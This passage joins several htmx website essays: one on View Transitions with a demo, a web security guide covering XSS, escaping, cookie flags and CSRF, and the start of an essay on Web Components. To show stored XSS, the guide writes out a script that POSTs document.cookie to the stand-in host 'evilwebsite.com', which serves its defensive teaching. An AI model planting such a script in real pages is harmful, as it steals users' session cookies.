  hypermedia-driven applications, offering an alternative to single-page applications (SPAs) and highlighting its \
  potential once widely available in HTML."""
date = 2023-04-11
authors = ["Carson Gross"]
[taxonomies]
tag = ["posts"]
+++

We have asserted, for a while now, that a major reason that many people have adopted the SPA architecture for web applications
is due to aesthetic considerations. 

As we mention in our book [Hypermedia Systems](https://hypermedia.systems), when
discussing the Web 1.0-style contact management application we begin with, there are serious _aesthetic_ issues with
the application, even if it has feature-parity with an SPA version:

> From a user experience perspective: there is a noticeable refresh when you move between pages of the application, or when you create, update or
> delete a contact. This is because every user interaction (link click or form submission) requires a full page
> refresh, with a whole new HTML document to process after each action.
>
> *–Hypermedia Systems - [Chapter 4](https://hypermedia.systems/extending-html-as-hypermedia/)*

This jarring "ka-chunk" between webpages, often with a [Flash of Unstyled Content](https://webkit.org/blog/66/the-fouc-problem/)
has been with us forever and, while modern browsers have improved the situation somewhat (while, unfortunately, also making
it less obvious that a request is in flight) the situation is still bad, particularly when compared with what a well-crafted
SPA can achieve.

Now, early on in the life of the web, this wasn't such a big deal. We had stars flying around dinosaurs _in the browser's toolbar_,
flaming text, table-based layouts, dancing babies and so forth, and we were largely comparing the web with things like
ftp clients.

The bar was _low_ and the times were _good_.

Alas, the web has since put away such childish things, and now we are expected to present polished, attractive interfaces
to our users, _including_ smooth transitions from one view state to another.  

Again, we feel this is why many teams default to the SPA approach: the old way just seems... clunky.

## CSS Transitions

The early web engineers realized that web developers would like to provide smooth transitions between different view states
and have offered various technologies for achieving this. A major one is [CSS Transitions](https://developer.mozilla.org/en-US/docs/Web/CSS/transition),
which allow you to specify a mathematical _transition_ from one state to another.

Unfortunately for HTML, CSS transitions are only available if you use JavaScript: you have to change elements dynamically
in order to trigger the transitions, which "vanilla" HTML can't do. In practice, this meant that only the cool kids
using JavaScript to build SPAs got to use these tools, further cementing the _aesthetic superiority_ of SPAs.

htmx, as you probably know, makes CSS Transitions [available in plain HTML](https://htmx.org/examples/animations/) via
a somewhat elaborate [swapping model](https://htmx.org/docs/#request-operations) where we take elements that are in both
the old and new content and "settle" attributes on them. It's a neat trick and can be used to make hypermedia-driven
application feel as buttery-smooth as well done SPA.

However, there is a new kid on the block: [The View Transition API](https://developer.chrome.com/docs/web-platform/view-transitions/)

## The View Transition API

The View Transition API is much more ambitious than CSS transitions in that it is attempting to provide a simple, intuitive
API for transitioning an _entire DOM_ from one state to another in a way that mere mortals can take advantage of. 

Furthermore, this API is supposed to be available not only in JavaScript, but also for plain old links and forms in HTML as well, 
making it possible to build _much nicer_ user interfaces using the Web 1.0 approach.

It will be fun to revisit the Contact application in "Hypermedia Systems" when this functionality is available!

As of this writing, however, the API is, like CSS Transitions, only available in JavaScript, and its only been just
released in Chrome 111+.

In JavaScript, The API could not be more simple:

```js

  // this is all it takes to get a smooth transition from one 
  // state to another!
  document.startViewTransition(() => updateTheDOMSomehow(data));

```

Now, that's my kind of API.

As luck would have it, it's trivial to wrap this API around the regular htmx swapping model, which allows us to
start exploring View Transitions in htmx, even before it's generally available in HTML! 

And, as of [htmx 1.9.0](https://cdn.jsdelivr.net/npm/htmx.org@1.9.0), you can start experimenting with the API by adding the 
`transition:true` attribute to an [`hx-swap`](/attributes/hx-swap) attribute.

## A Practical Example

So let's look at a simple example of this new shiny toy coupled with htmx.  

Doing so will involve two parts: 

* Defining our View Transition animation via CSS
* Adding a small annotation to an htmx-powered button

### The CSS

The first thing that we need to do is define the View Transition animation that we want.

* Define some animations using @keyframes to slide and fade content
* Define a view transition with the name `slide-it` using the `:view-transition-old()` and `:view-transition-new()` pseudo-selectors
* Tie the `.sample-transition` class to the `slide-it` view transition that we just defined, so we can bind it to elements via a that CSS class name

(Fuller details on the View Transition API can be found on the [Chrome Developer Page](https://developer.chrome.com/docs/web-platform/view-transitions/)
documenting them.)

```html

    <style>
       @keyframes fade-in {
         from { opacity: 0; }
       }
    
       @keyframes fade-out {
         to { opacity: 0; }
       }
    
       @keyframes slide-from-right {
         from { transform: translateX(90px); }
       }
    
       @keyframes slide-to-left {
         to { transform: translateX(-90px); }
       }
    
       /* define animations for the old and new content */
       ::view-transition-old(slide-it) {
         animation: 180ms cubic-bezier(0.4, 0, 1, 1) both fade-out,
         600ms cubic-bezier(0.4, 0, 0.2, 1) both slide-to-left;
       }
       ::view-transition-new(slide-it) {
         animation: 420ms cubic-bezier(0, 0, 0.2, 1) 90ms both fade-in,
         600ms cubic-bezier(0.4, 0, 0.2, 1) both slide-from-right;
       }
    
       /* tie the view transition to a given CSS class */
       .sample-transition {
           view-transition-name: slide-it;
       }
        
    </style>

```

This CSS sets it up such that content with the `.sample-transition` class on it will fade out and slide to the left when 
it is removed, and new content will fade in and slide in from the right.

### The HTML

With our View Transition defined via CSS, the next thing to do is to tie this View Transition to an actual element that
htmx will mutate, and to specify that htmx should take advantage of the View Transition API:

```html

    <div class="sample-transition">
       <h1>Initial Content</h1>
       <button hx-get="/new-content" 
               hx-swap="innerHTML transition:true" 
               hx-target="closest div">
         Swap It!
       </button>
    </div>

```

Here we have a button that issues an `GET` to get some new content, and that replaces the closest div's inner HTML
with the response. 

That div has the `sample-transition` class on it, so the View Transition defined above will apply to it. 

Finally, the `hx-swap` attribute includes the option, `transition:true`, which is what tells htmx to use the
internal View Transition JavaScript API when swapping.

## Demo

With all that tied together, we are ready to start using the View Transition API with htmx. Here's a demo, which
should work in Chrome 111+ (other browsers will work fine, but won't get the nice animation):

<style>
   @keyframes fade-in {
     from { opacity: 0; }
   }

   @keyframes fade-out {
     to { opacity: 0; }
   }

   @keyframes slide-from-right {
     from { transform: translateX(90px); }
   }

   @keyframes slide-to-left {
     to { transform: translateX(-90px); }
   }

   /* define animations for the old and new content */
   ::view-transition-old(slide-it) {
     animation: 180ms cubic-bezier(0.4, 0, 1, 1) both fade-out,
     600ms cubic-bezier(0.4, 0, 0.2, 1) both slide-to-left;
   }
   ::view-transition-new(slide-it) {
     animation: 420ms cubic-bezier(0, 0, 0.2, 1) 90ms both fade-in,
     600ms cubic-bezier(0.4, 0, 0.2, 1) both slide-from-right;
   }

   /* tie the view transition to a given CSS class */
   .sample-transition {
       view-transition-name: slide-it;
   }
    
</style>


<div class="sample-transition" style="padding: 24px">
   <h1>Initial Content</h1>
   <button hx-get="/new-content" hx-swap="innerHTML transition:true" hx-target="closest div">
     Swap It!
   </button>
</div>

<script>
    var originalContent = htmx.find(".sample-transition").innerHTML;

    this.server.respondWith("GET", "/new-content", function(xhr){
        xhr.respond(200,  {}, "<h1>New Content</h1> <button hx-get='/original-content' hx-swap='innerHTML transition:true' hx-target='closest div'>Restore It! </button>")
    });

    this.server.respondWith("GET", "/original-content", function(xhr){
        xhr.respond(200,  {}, originalContent)
    });
</script>

Assuming you are looking at this page in Chrome 111+, you should see the content above slide gracefully out to the
left and be replaced by new content sliding in from the right. Nice!

## Conclusion

Hey now, that's pretty neat, and, once you get your head around the concept, not all that much work! This new API
shows a lot of promise.

View Transitions are an exciting new technology that we feel can dramatically level the playing field between
[Hypermedia Driven Applications](https://htmx.org/essays/hypermedia-driven-applications/) and the more prevalent SPA
architecture used today.

By doing away with the ugly "ka-chunk" of Web 1.0 applications, the aesthetic advantages of the
SPA approach will be diminished, and we can make decisions less around "sizzle" and focus more on the actual [technical
tradeoffs](https://htmx.org/essays/when-to-use-hypermedia/) associated with various architectures.

We are looking forward to when View Transitions are available in vanilla HTML, but, until then, you can start playing
with them in htmx, today!

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/essays/web-security-basics-with-htmx.md

+++
title = "Web Security Basics (with htmx)"
description = """\
  This guide by Alexander Petros provides essential web security best practices for building applications with htmx, \
  focusing on safe handling of dynamic, user-generated content. It covers fundamental principles such as using only \
  trusted routes, employing auto-escaping template engines, and securing cookies to prevent common vulnerabilities \
  like Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF). Aimed at developers familiar with backend \
  server construction, it emphasizes security techniques that are easy to implement and crucial for protecting user \
  data in dynamic web applications."""
date = 2024-02-06
authors = ["Alexander Petros"]
[taxonomies]
tag = ["posts"]
+++

As htmx has gotten more popular, it's reached communities who have never written server-generated HTML before. Dynamic HTML templating was, and still is, the standard way to use many popular web frameworks—like Rails, Django, and Spring—but it is a novel concept for those coming from Single-Page Application (SPA) frameworks—like React and Svelte—where the prevalence of JSX means you never write HTML directly.

But have no fear! Writing web applications with HTML templates is a slightly different security model, but it's no harder than securing a JSX-based application, and in some ways it's a lot easier.

## Who is guide this for?

These are web security basics with htmx, but they're (mostly) not htmx-specific—these concepts are important to know if you're putting *any* dynamic, user-generated content on the web.

For this guide, you should already have a basic grasp of the semantics of the web, and be familiar with how to write a backend server (in any language). For instance, you should know not to create `GET` routes that can alter the backend state. We also assume that you're not doing anything super fancy, like making a website that hosts other people's websites. If you're doing anything like that, the security concepts you need to be aware of far exceed the scope of this guide.

We make these simplifying assumptions in order to target the widest possible audience, without including distracting information—obviously this can't catch everyone. No security guide is perfectly comprehensive. If you feel there's a mistake, or an obvious gotcha that we should have mentioned, please reach out and we'll update it.

## The Golden Rules

Follow these four simple rules, and you'll be following the client security best practices:

1. Only call routes you control
2. Always use an auto-escaping template engine
3. Only serve user-generated content inside HTML tags
4. If you have authentication cookies, set them with `Secure`, `HttpOnly`, and `SameSite=Lax`

In the following section, I'll discuss what each of these rules does, and what kinds of attack they protect against. The vast majority of htmx users—those using htmx to build a website that allows users to login, view some data, and update that data—should never have any reason to break them.

Later on I will discuss how to break some of these rules. Many useful applications can be built under these constraints, but if you do need more advanced behavior, you'll be doing so with the full knowledge that you're increasing the conceptual burden of securing your application. And you'll have learned a lot about web security in the process.

## Understanding the Rules

### Only call routes you control

This is the most basic one, and the most important: **do not call untrusted routes with htmx.**

In practice, this means you should only use relative URLs. This is fine:

```html
<button hx-get="/events">Search events</button>
```

But this is not:

```html
<button hx-get="https://google.com/search?q=events">Search events</button>
```

The reason for this is simple: htmx inserts the response from that route directly into the user's page. If the response has a malicious `<script>` inside it, that script can steal the user's data. When you don't control the route, you cannot guarantee that whoever does control the route won't add a malicious script.

Fortunately, this is a very easy rule to follow. Hypermedia APIs (i.e. HTML) are [specific to the layout of your application](https://htmx.org/essays/hypermedia-apis-vs-data-apis/), so there is almost never any reason you'd *want* to insert someone else's HTML into your page. All you have to do is make sure you only call your own routes (htmx 2 will actually disable calling other domains by default).

Though it's not quite as popular these days, a common SPA pattern was to separate the frontend and backend into different repositories, and sometimes even to serve them from different URLs. This would require using absolute URLs in the frontend, and often, [disabling CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS). With htmx (and, to be fair, modern React with Next.js) this is an anti-pattern.

Instead, you simply serve your HTML frontend from the same server (or at least the same domain) as your backend, and everything else falls into place: you can use relative URLs, you'll never have trouble with CORS, and you'll never call anyone else's backend.

htmx executes HTML; HTML is code; never execute untrusted code.

### Always use an auto-escaping template engine

When you send HTML to the user, all dynamic content must be escaped. Use a template engine to construct your responses, and make sure that auto-escaping is on.

Fortunately, all template engines support escaping HTML, and most of them enable it by default. Below are just a few examples.

| Language | Template Engine | Escapes HTML by default? |
| ---- | ---- | ---- |
| JavaScript | Nunjucks | Yes |
| JavaScript | EJS | Yes, with `<%= %>` |
| Python | DTL | Yes |
| Python | Jinja | **Sometimes** (Yes, in Flask)|
| Ruby | ERB | Yes, with `<%= %>` |
| PHP | Blade | Yes |
| Go | html/template | Yes |
| Java | Thymeleaf | Yes |
| Rust | Tera | Yes |

The kind of vulnerability this prevents is often called a Cross-Site Scripting (XSS) attack, a term that is [broadly used](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html#introduction) to mean the injection of any unexpected content into your webpage. Typically, an attacker uses your APIs to store malicious code in your database, which you then serve to your other users who request that info.

For example, let's say you're building a dating site, and it lets users share a little bio about themselves. You'd render that bio like this, with `{{ user.bio }}` being the bio stored in the database:

```html
<p>
{{ user.bio }}
</p>
```

If a malicious user wrote a bio with a script element in it—like one that sends the client's cookie to another website—then this HTML will get sent to every user who views that bio:

```html
<p>
<script>
  fetch('evilwebsite.com', { method: 'POST', body: document.cookie })
</script>
</p>
```

Fortunately this one is so easy to fix that you can write the code yourself. Whenever you insert untrusted (i.e. user-provided) data, you just have to replace eight characters with their non-code equivalents. This is an example using JavaScript:

```js
/**
 * Replace any characters that could be used to inject a malicious script in an HTML context.
 */
export function escapeHtmlText (value) {
  const stringValue = value.toString()
  const entityMap = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#x27;',
    '/': '&#x2F;',
    '`': '&grave;',
    '=': '&#x3D;'
  }

  // Match any of the characters inside /[ ... ]/
  const regex = /[&<>"'`=/]/g
  return stringValue.replace(regex, match => entityMap[match])
}
```

This tiny JS function replaces `<` with `&lt;`, `"` with `&quot;`, and so on. These characters will still render properly as `<` and `"` when they're used in the text, but can't be interpreted as code constructs. The previous malicious bio will now be converted into the following HTML:

```html
<p>
&lt;script&gt;
  fetch(&#x27;evilwebsite.com&#x27;, { method: &#x27;POST&#x27;, data: document.cookie })
&lt;/script&gt;
</p>
```

which displays harmlessly as text.

Fortunately, as established above, you don't have to do your escaping manually—I just wanted to demonstrate how simple these concepts are. Every template engine has an auto-escaping feature, and you're going to want to use a template engine anyway. Just make sure that escaping is enabled, and send all your HTML through it.

### Only serve user-generated content inside HTML tags

This is an addendum to the template engine rule, but it's important enough to call out on its own. Do not allow your users to define arbitrary CSS or JS content, even with your auto-escaping template engine.

```html
<!-- Don't include inside script tags -->
<script>
  const userName = {{ user.name }}
</script>

<!-- Don't include inside CSS tags -->
<style>
  h1 { color: {{ user.favorite_color }} }
</style>
```

And, don't use user-defined attributes or tag names either:
```html
<!-- Don't allow user-defined tag names -->
<{{ user.tag }}></{{ user.tag }}>

<!-- Don't allow user-defined attributes -->
<a {{ user.attribute }}></a>

<!-- User-defined attribute VALUES are sometimes okay, it depends -->
<a class="{{ user.class }}"></a>

<!-- Escaped content is always safe inside HTML tags (this is fine) -->
<a>{{ user.name }}</a>
```

CSS, JavaScript, and HTML attributes are ["dangerous contexts,"](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html#dangerous-contexts) places where it's not safe to allow arbitrary user input, even if it's escaped. Escaping will protect you from some vulnerabilities here, but not all of them; the vulnerabilities are varied enough that it's safest to default to not doing *any* of these.

Inserting user-generated text directly into a script tag should never be necessary, but there *are* some situations where you might let users customize their CSS or customize HTML attributes. Handling those properly will be discussed down below.

## Secure your cookies

The best way to do authentication with htmx is using cookies. And because htmx encourages interactivity primarily through first-party HTML APIs, it is usually trivial to enable the browser's best cookie security features. These three in particular:

* `Secure` - only send the cookie via HTTPS, never HTTP
* `HttpOnly` - don't make the cookie available to JavaScript via `document.cookie`
* `SameSite=Lax` - don't allow other sites to use your cookie to make requests, unless it's just a plain link

To understand what these protect you against, let's go over the basics. If you come from JavaScript SPAs, where it's common to authenticate using the `Authorization` header, you might not be familiar with how cookies work. Fortunately they're very simple. (Please note: this is not an "authentication with htmx" tutorial, just an overview of cookie tokens generally)

If your users log in with a `<form>`, their browser will send your server an HTTP request, and your server will send back a response that looks something like this:

```
HTTP/2.0 200 OK
Content-Type: text/html
Set-Cookie: token=asd8234nsdfp982

[HTML content]
```

That token corresponds to the user's current login session. From now on, every time that user makes a request to any route at `yourdomain.com`, the browser will include that cookie from `Set-Cookie` in the HTTP request.

```
GET /users HTTP/1.1
Host: yourdomain.com
Cookie: token=asd8234nsdfp982
```

Each time someone makes a request to your server, it needs to parse out that token and determine if it's valid. Simple enough.

You can also set options on that cookie, like the ones I recommended above. How to do this differs depending on the programming language, but the outcome is always an HTTP response that looks like this:

```
HTTP/2.0 200 OK
Content-Type: text/html
Set-Cookie: token=asd8234nsdfp982; Secure; HttpOnly; SameSite=Lax

[HTML content]
```

So what do the options do?

The first one, `Secure`, ensures that the browser will not send the cookie over an insecure HTTP connection, only a secure HTTPS connection. Sensitive info, like a user's login token, should *never* be sent over an insecure connection.

The second option, `HttpOnly`, means that the browser will not expose the cookie to JavaScript, ever (i.e. it won't be in [`document.cookie`](https://developer.mozilla.org/en-US/docs/Web/API/Document/cookie)). Even if someone is able to insert a malicious script, like in the `evilwebsite.com` example above, that malicious script cannot access the user's cookie or send it to `evilwebsite.com`. The browser will only attach the cookie when the request is made to the website the cookie came from.

Finally, `SameSite=Lax` locks down an avenue for Cross-Site Request Forgery (CSRF) attacks, which is where an attacker tries to get the client's browser to make a malicious request to the `yourdomain.com` server—like a POST request. The `SameSite=Lax` setting tells the browser not to send the `yourdomain.com` cookie if the site that made the request isn't `yourdomain.com`—unless it's a straightforward `<a>` link navigating to your page. This is *mostly* browser default behavior now, but it's important to still set it directly.

In 2024, `SameSite=Lax` is [usually enough](https://security.stackexchange.com/questions/252300/do-i-still-need-a-csrf-token) to protect against CSRF, but there are [additional mitigations](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html) you can consider as well for more sensitive or complicated cases.

**Important Note:** `SameSite=Lax` only protects you at the domain level, not the subdomain level (i.e. `yourdomain.com`, not `yoursite.github.io`). If you're doing user login, you should always be doing that at your own domain in production. Sometimes the [Public Suffixes List](https://security.stackexchange.com/questions/223473/for-samesite-cookie-with-subdomains-what-are-considered-the-same-site) will protect you, but you shouldn't rely on that.

## Breaking the rules

We started with the easiest, most secure practices—that way mistakes lead to a broken UX, which can be fixed, rather than stolen data, which cannot.

Some web applications demand more complicated functionality, with more user customization; they also require more complicated security mechanisms. You should only break these rules if you are convinced that it is absolutely necessary, and the desired functionality cannot be implemented through alternative means.

### Calling untrusted APIs

Calling untrusted HTML APIs is lunacy. Never do this.

There are cases where you might want to call someone else's JSON API from the client, and that's fine, because JSON cannot execute arbitrary scripts. In that case, you'll probably want to do something with that data to turn it into HTML. Don't use htmx to do that—use `fetch` and `JSON.parse()`; if the untrusted API pulls a fast one and returns HTML instead of JSON, `JSON.parse()` will just fail harmlessly.

Keep in mind that the JSON you parse might have a *property* that is formatted as HTML, though:

```json
{ "name": "<script>alert('Hahaha I am a script')</script>" }
```

Therefore, don't insert JSON values as HTML either—use `textContent` if you're doing something like that. This is well outside the realm of htmx-controlled UI though.

The 2.0 version of htmx will include a `textContent` swap, if you want to call someone else's API directly from the client and just put that text into the page.

### Custom HTML controls

Unlike calling untrusted HTML routes, there are a lot of good reasons to let users do dynamic HTML-formatted content.

What if, say, you want to let users link to an image?

```html
<img src="{{ user.fav_img }}" alt="{{ user.fav_img_alt }}">
```

Or link to their personal website?
```html
<a href="{{ user.fav_link }}">
```

The default "escape everything" approach escapes forward slashes, so it will bork user-submitted URLs.

You can fix this in a couple of ways. The simplest, and safest, trick is to let users customize these values, but don't let them define the literal text. In the image example, you might upload the image to your own server (or S3 bucket, or the like), generate the link yourself, and then include it, unescaped. In nunjucks, you use the [safe](https://mozilla.github.io/nunjucks/templating.html#safe) function:

```html
<img src="{{ user.fav_img_s3_url | safe }}" alt="{{ user.fav_img_alt }}">
```

Yes, you're including unescaped content, but it's a link that you generated, so you know it's safe.

You can handle custom CSS in the same way. Rather than let your users specify the color directly, give them some limited choices, and set the choices based on their input.

```css
{% if user.favorite_color === 'red' %}
h1 { color: 'red'; }
{% else %}
h1 { color: 'blue'; }
{% endif %}
```

In that example, the user can set `favorite_color` to whatever they like, but it's never going to be anything but red or blue. A less trivial example might ensure that only properly-formatted hex codes can be entered, using a regex. You get the idea.

Depending on what kind of customization you're supporting, securing it might be relatively easy, or quite difficult. Some attributes are ["safe sinks,"](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html#safe-sinks) which means that their values will never be interpreted as code; these are quite easy to secure. If you're going to include dynamic input in ["dangerous contexts,"](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html#dangerous-contexts) you need to research *what* is dangerous about those contexts, and ensure that that kind of input won't make it into the document.

If you want to let users link to arbitrary websites or images, for instance, that's a lot more complicated. First, make sure to put the attributes inside quotes (most people do this anyway). Then you will need to do something like write a custom escaping function that escapes everything *but* forward slashes (and possibly ampersands), so the link will work properly.

But even if you do that correctly, you are introducing some new security challenges. That image link can be used to track your users, since your users will request it directly from someone else's server. Maybe you're fine with that, maybe you include other mitigations. The important part is that you are aware that introducing this level of customization comes with a more difficult security model, and if you don't have the bandwidth to research and test it, you shouldn't do it.

### Non-cookie authentication

JavaScript SPAs sometimes authenticate by saving a token in the client's local storage, and then adding that to the [`Authorization` header](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Authorization) of each request. Unfortunately, there's no way to set the `Authorization` header without using JavaScript, which is not as secure; if it's available to your trusted JavaScript, it's available to attackers if they manage to get a malicious script onto your page. Instead, use a cookie (with the above attributes), which can be set and secured without touching JavaScript at all.

Why is there an `Authorization` header but no way to set it with hypermedia controls? Well, that's just one of WHATWG's ~~outrageous omissions~~ little mysteries.

You might need to use an `Authorization` header if you're authenticating the user's client with an API that you don't control, in which case the regular precautions about routes you don't control apply.

## Bonus: Content Security Policy

You should also be aware of the [Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy) (CSP), which uses HTTP headers to set rules about the kind of content that your page is allowed to run. You can restrict the page to only load images from your domain, for example, or to disable inline scripts.

This is not one of the golden rules because it's not as easy to apply universally. There's no "one size fits most" CSP. Some htmx applications make use of inline scripting—the [`hx-on` attribute](https://htmx.org/attributes/hx-on/) is a generalized attribute listener that can evaluate arbitrary scripts (although [it can be disabled](https://htmx.org/docs/#configuration-options) if you don't need it). Sometimes inline scripts are appropriate to preserve [locality of behavior](https://htmx.org/essays/locality-of-behaviour/) on a application that is sufficiently secured against XSS, sometimes inline scripts aren't necessary and you can adopt a stricter CSP. It all depends on your application's security profile—it's on to you to be aware of the options available to you and able to perform that analysis.

## Is this a step back?

You might reasonably wonder: if I didn't have to know these things when I was building SPAs, isn't htmx a step back in security? We would challenge both parts of that statement.

This article is not intended to be a defense of htmx's security properties, but there are a lot of areas where hypermedia applications are, by default, a lot more secure than JSON-based frontends. HTML APIs only send back the information that's supposed to be rendered—it's a lot easier for unintended data to "hide" in a JSON response and leak to the user. Hypermedia APIs also don't lend themselves to implementing a generalized query language, like GraphQL, on the client, which [require a *massively* more complicated security model](https://intercoolerjs.org/2016/02/17/api-churn-vs-security.html). Flaws of all kinds hide in your application's complexity; hypermedia applications are, generally speaking, less complex, and therefore easier to secure.

You also need to know about XSS attacks if you're putting dynamic content on the web, period. A developer who doesn't understand how XSS works won't understand what's dangerous about using React's [`dangerouslySetInnerHTML`](https://react.dev/reference/react-dom/components/common#dangerously-setting-the-inner-html)—and they'll go ahead and set it the first time they need to render rich user-generated text. It is the library's responsibility to make those security basics as easy to find as possible; it has always been the developer's responsibility to learn and follow them.

This article is organized to making securing your htmx application a "pit of success"—follow these simple rules and you are very unlikely to code an XSS vulnerability. But it's impossible to write a library that's going to be secure in the hands of a developer who refuses to learn *anything* about security, because security is about controlling access to information, and it will always be the human's job to explain to the computer precisely who has access to what information.

Writing secure web applications is *hard*. There are plenty of easy pitfalls related to routing, database access, HTML templating, business logic, and more. And yet, if security is only the domain of security experts, then only security experts should be making web applications. Maybe that should be the case! But if only security experts are making web applications, they definitely know how to use a template engine correctly, so htmx will be no trouble for them.

For everyone else:

1. Don't call untrusted routes
2. Use an auto-escaping template engine
3. Only put user-generated content inside HTML tags
4. Secure your cookies

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/essays/webcomponents-work-great.md

+++
title = "Web Components Work Great with htmx"
description = """\
  This essay by Alexander Petros explores how Web Components can be integrated seamlessly with htmx, a library that \
  enables dynamic web pages through HTML. It discusses the flexibility of htmx in handling interactive elements like \
  Web Components alongside traditional server-driven approaches, such as multi-page apps. By using the example of an \
  editable carnival ride table, Alexander demonstrates how Web Components simplify functionality without the need for \
  heavy JavaScript frameworks, highlighting their compatibility with htmx's DOM-based lifecycle. Alexander also \
  addresses potential challenges and how htmx manages them efficiently."""
date = 2024-11-13
authors = ["Alexander Petros"]
[taxonomies]
tag = ["posts"]
+++

People interested in htmx often ask us about component libraries.
React and other JavaScript frameworks have great ecosystems of pre-built components that can be imported into your project; htmx doesn't really have anything similar.

The first and most important thing to understand is that htmx doesn't preclude you from using *anything*.
Because htmx-based websites are [often multi-page apps](https://unplannedobsolescence.com/blog/less-htmx-is-more/), each page is a blank canvas on which you can import as much or as little JavaScript as you like.
If your app is largely hypermedia, but you want an interactive, React-based calendar for one page, just import it on that one page with a script tag.

We sometimes call this pattern "Islands of Interactivity"—it's referenced in our explainers [here](@/essays/10-tips-for-SSR-HDA-apps.md#tip-8-when-necessary-create-islands-of-interactivity), [here](@/essays/hypermedia-friendly-scripting.md#islands), and [here](@/essays/you-cant.md#myth-5-with-htmx-or-mpas-every-user-action-must-happen-on-the-server).
Unlike JS frameworks, which are largely incompatible with each other, using islands with htmx won't lock you into any specific paradigm.

But there's a second way that you can re-use complex frontend functionality with htmx, and it's [Web Components](https://developer.mozilla.org/en-US/docs/Web/API/Web_components)!

## Practical Example

Let's say that you have a table that says what carnival rides everyone is signed up for:

<table>
  <tr>
    <th>Name
    <th>Carousel
    <th>Roller Coaster
  </tr>
  <tr>
    <td>Alex
    <td>Yes
    <td>No
  </tr>
  <tr>
    <td>Sophia
    <td>Yes
    <td>Yes
  </tr>
</table>

Alex is willing to go on the carousel but not the roller coaster, because he is scared; Sophia is not scared of either.

I built this as a regular HTML table ([closing tags are omitted](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/td#technical_summary) for clarity):

```html
<table>
  <tr><th>Name    <th>Carousel  <th>Roller Coaster
  <tr><td>Alex    <td>Yes       <td>No
  <tr><td>Sophia  <td>Yes       <td>Yes
</table>
```

Now imagine we want to make those rows editable.
This is a classic situation in which people reach for frameworks, but can we do it with hypermedia?
Sure!
Here's a naive idea:

```html
<form hx-put=/carnival>
<table>
  <tr>
    <th>Name
    <th>Carousel
    <th>Roller Coaster
  </tr>
  <tr>
    <td>Alex
    <td><select name="alex-carousel"> <option selected>Yes <option>No <option> Maybe</select>
    <td><select name="alex-roller"> <option>Yes <option selected>No <option> Maybe</select>
  </tr>
  <tr>
    <td>Sophia
    <td><select name="sophia-carousel"> <option selected>Yes <option>No <option> Maybe</select>
    <td><select name="sophia-roller"> <option selected>Yes <option>No <option> Maybe</select>
  </tr>
</table>
<button>Save</button>
</form>
```

<br>
That will give us this table:

<table>
  <tr>
    <th>Name
    <th>Carousel
    <th>Roller Coaster
  </tr>
  <tr>
    <td>Alex
    <td><edit-cell name="alex-carousel" value="Yes"></edit-cell>
    <td><edit-cell name="alex-roller" value="No"></edit-cell>
  </tr>
  <tr>
    <td>Sophia
    <td><edit-cell name="sophia-carousel" value="Yes"></edit-cell>
    <td><edit-cell name="sophia-roller" value="Yes"></edit-cell>
  </tr>
</table>
<button>Save</button>

That's not too bad!
The save button will submit all the data in the table, and the server will respond with a new table that reflects the updated state.
We can also use CSS to make the `<select>`s fit our design language.
But it's easy to see how this could start to get unwieldy—with more columns, more rows, and more options in each cell, sending all that information each time starts to get costly.

Let's remove all that redundancy with a web component!

```html
<form hx-put=/carnival>
<table>
  <tr>
    <th>Name
    <th>Carousel
    <th>Roller Coaster
  </tr>
  <tr>
    <td>Alex
    <td><edit-cell name="alex-carousel" value="Yes"></edit-cell>
    <td><edit-cell name="alex-roller" value="No"></edit-cell>
  </tr>
  <tr>
    <td>Sophia
    <td><edit-cell name="sophia-carousel" value="Yes"></edit-cell>
    <td><edit-cell name="sophia-roller" value="Yes"></edit-cell>
  </tr>
</table>
<button>Save</button>
</form>
```

We still have an entirely declarative [HATEOAS](https://htmx.org/essays/hateoas/) interface—both current state (the `value` attribute) and possible actions on that state (the `<form>` and `<edit-cell>` elements) are efficiently encoded in the hypertext—only now we've expressed the same ideas a lot more concisely.
htmx can add or remove rows (or better yet, whole tables) with the `<edit-cell>` web component as if `<edit-cell>` were a built-in HTML element.

You've probably noticed that I didn't include the implementation details for `<edit-cell>` (although you can, [of course](@/essays/right-click-view-source.md), View Source this page to see them).
That's because they don't matter!
Whether the web component was written by you, or a teammate, or a library author, it can be used exactly like a built-in HTML element and htmx will handle it just fine.

## Don't Web Components have some problems?

A lot of the problems that JavaScript frameworks have supporting Web Components don't apply to htmx.

Web Components [have DOM-based lifecycles](https://dev.to/ryansolid/web-components-are-not-the-future-48bh), so they are difficult for JavaScript frameworks, which often manipulate elements outside of the DOM, to work with.
Frameworks have to account for some [bizarre and arguably buggy](https://x.com/Rich_Harris/status/1841467510194843982) APIs that behave differently for native DOM elements than they do for custom ones.
Here at htmx, we agree with [SvelteJS creator Rich Harris](https://x.com/Rich_Harris/status/1839484645194277111): "web components are [not] useful primitives on which to build web frameworks."

The good news is that htmx [is not really a JavaScript web framework](@/essays/is-htmx-another-javascript-framework.md).
The DOM-based lifecycles of custom elements work great in htmx, because everything in htmx has a DOM-based lifecycle—we get stuff from the server, and we add it to the DOM.
The default htmx swap style is to just set [`.innerHTML`](https://developer.mozilla.org/en-US/docs/Web/API/Element/innerHTML), and that works great for the vast majority of users.

That's not to say that htmx doesn't have to accommodate weird Web Component edge cases.
Our community member and resident WC expert [Katrina Scialdone](https://unmodernweb.com/) merged [Shadow DOM support for htmx 2.0](https://github.com/bigskysoftware/htmx/pull/2075), which lets htmx process the implementation details of a Web Component,
and supporting that is [occasionally](https://github.com/bigskysoftware/htmx/pull/2846) [frustrating](https://github.com/bigskysoftware/htmx/pull/2866).
